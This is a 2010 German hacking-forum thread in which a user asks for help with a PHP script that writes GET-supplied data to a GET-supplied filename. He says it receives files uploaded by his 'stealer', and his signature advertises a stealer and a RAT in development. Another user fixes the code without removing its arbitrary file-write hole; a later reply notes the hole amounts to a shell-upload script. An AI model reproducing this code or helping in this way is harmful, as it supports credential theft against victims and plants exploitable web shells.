Ergebnis 1 bis 8 von 8
  1. #1
    BackNine Wurm
    Registriert seit
    18.06.2010
    Beiträge
    318

    Standard PHP Fehler in Linie 4

    Hallo, Ich Habe Folgenden Code.

    PHP-Code:
    <?php
    $file 
    $_GET['file'];
    $daten $_GET['daten'];
    file_put_contents($file,$daten)
    ?>
    Blos wenn ich ihn so aufrufe kommt dort Warning: file_put_contents() [function.file-put-contents]: Filename cannot be empty in /home/freehost/t35.com/b/o/blahblahblah/send.php on line 4

    woran liegt es??

    Free Web Hosting - Reliable Free Hosting - cPanel Hosting - T35 Hosting Hier hoste ich es
    .::BM::. 1|2|0

    Tool-Store Arround Steal0r 95% Fertig
    Eigener Rat 40 % fertig

    Schaf_CoderzzZzZzZzZ v2.0

    Biete:

  2. #2
    ┌∩┐<("O_O")>┌∩┐ Avatar von Malw0rm
    Registriert seit
    21.06.2010
    Beiträge
    100

    Standard

    Erstmal fehlt hinter file_put_contents n semikolon
    2. musst du checken ob GET gesetzt ist.

    Fixxed:
    PHP-Code:
    <?php
    if($_GET['file'] && $_GET['daten']) {
        
    $file $_GET['file'];
        
    $daten $_GET['daten'];
    }
    else {
        exit;
    }
        
    file_put_contents($file,$daten);
    ?>
    Geändert von Malw0rm (13.08.2010 um 04:22 Uhr) Grund: Improved

  3. Folgende Benutzer haben sich für diesen Beitrag bedankt:

    boterfreak (13.08.2010)

  4. #3
    BackNine Wurm
    Registriert seit
    18.06.2010
    Beiträge
    318

    Standard

    Das File wird ja vom stealer erstellt und hochgeladen
    .::BM::. 1|2|0

    Tool-Store Arround Steal0r 95% Fertig
    Eigener Rat 40 % fertig

    Schaf_CoderzzZzZzZzZ v2.0

    Biete:

  5. #4
    ┌∩┐<("O_O")>┌∩┐ Avatar von Malw0rm
    Registriert seit
    21.06.2010
    Beiträge
    100

    Standard

    Dann musst du es downloaden und ändern, und wieder uploaden

  6. #5
    BackNine Wurm
    Registriert seit
    18.06.2010
    Beiträge
    318

    Standard

    Ich werds einfach per ftp Upload oder Email oder MYSQL Machen Danke für deine Hilfe.
    .::BM::. 1|2|0

    Tool-Store Arround Steal0r 95% Fertig
    Eigener Rat 40 % fertig

    Schaf_CoderzzZzZzZzZ v2.0

    Biete:

  7. #6
    W32.FunLove Avatar von pry0
    Registriert seit
    07.02.2010
    Beiträge
    135

    Standard

    Sollte die Zeile "
    file_put_contents($file,$daten);
    " nicht lieber in die IF-Verzweigung.. wäre irgendwie sinnvoller? ^^
    [Biete]



    Kontakt via ICQ 2296046 oder PN

  8. #7
    Der `Toastflüsterer` Avatar von AlterHacker
    Registriert seit
    27.09.2008
    Beiträge
    690

    Standard

    Aufgrund des exit im else kann das file_put_contents auch drunter stehen
    Ich persönlich würd das exit weglassen und die Funktion ins if schreiben.

    Security is an illusion.
    Cheater : 8=o
    Normaluser : 8=======o
    Ich : 8================o

    BM: (4|2|0)

  9. #8
    Der mit Anatidaephobie Avatar von blackberry
    Registriert seit
    11.07.2008
    Beiträge
    2.350

    Standard

    Und ich persönlich würde aufhören Shell-Upload-Scripts zu programmieren.
    Aber gut... manche Leute haben wohl gern eine Shell auf dem Webspace...
    (wer den Fehler nicht erkennt, dem sei das selbe gesagt, was ich auch schon Code-C4 vor nicht allzu kurzer Zeit gesagt habe: Userinput gehört verdammtnochmal nicht in Dateinamen!)

    PDFTT cr3w a.E. — ReiDC0Re, lindor, Sera, berry
    please do feed the trolls crew and elk
    Ehrenwerte Mitglieder im Ruhestand: OpCodez, SFX.
    "Was sich blackberry gerade denkt" — Vorsicht! Frei laufender Wahnsinn!
    Zitat von fuckinghot19: "PS: Blackberry ist auf FH der Trollkönig ^^."
    An dieser Stelle danke ich all meinen Fans und Hatern gleichermaßen ^.^

Ähnliche Themen

  1. [Java] Linie zeichnen
    Von 100 im Forum Java
    Antworten: 14
    Letzter Beitrag: 07.06.2010, 13:43
  2. PhP fehler
    Von Thunderstorm im Forum PHP
    Antworten: 9
    Letzter Beitrag: 12.05.2009, 14:37
  3. Wo is der Fehler?
    Von J0hn.X3r im Forum Perl
    Antworten: 2
    Letzter Beitrag: 06.08.2008, 23:01

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •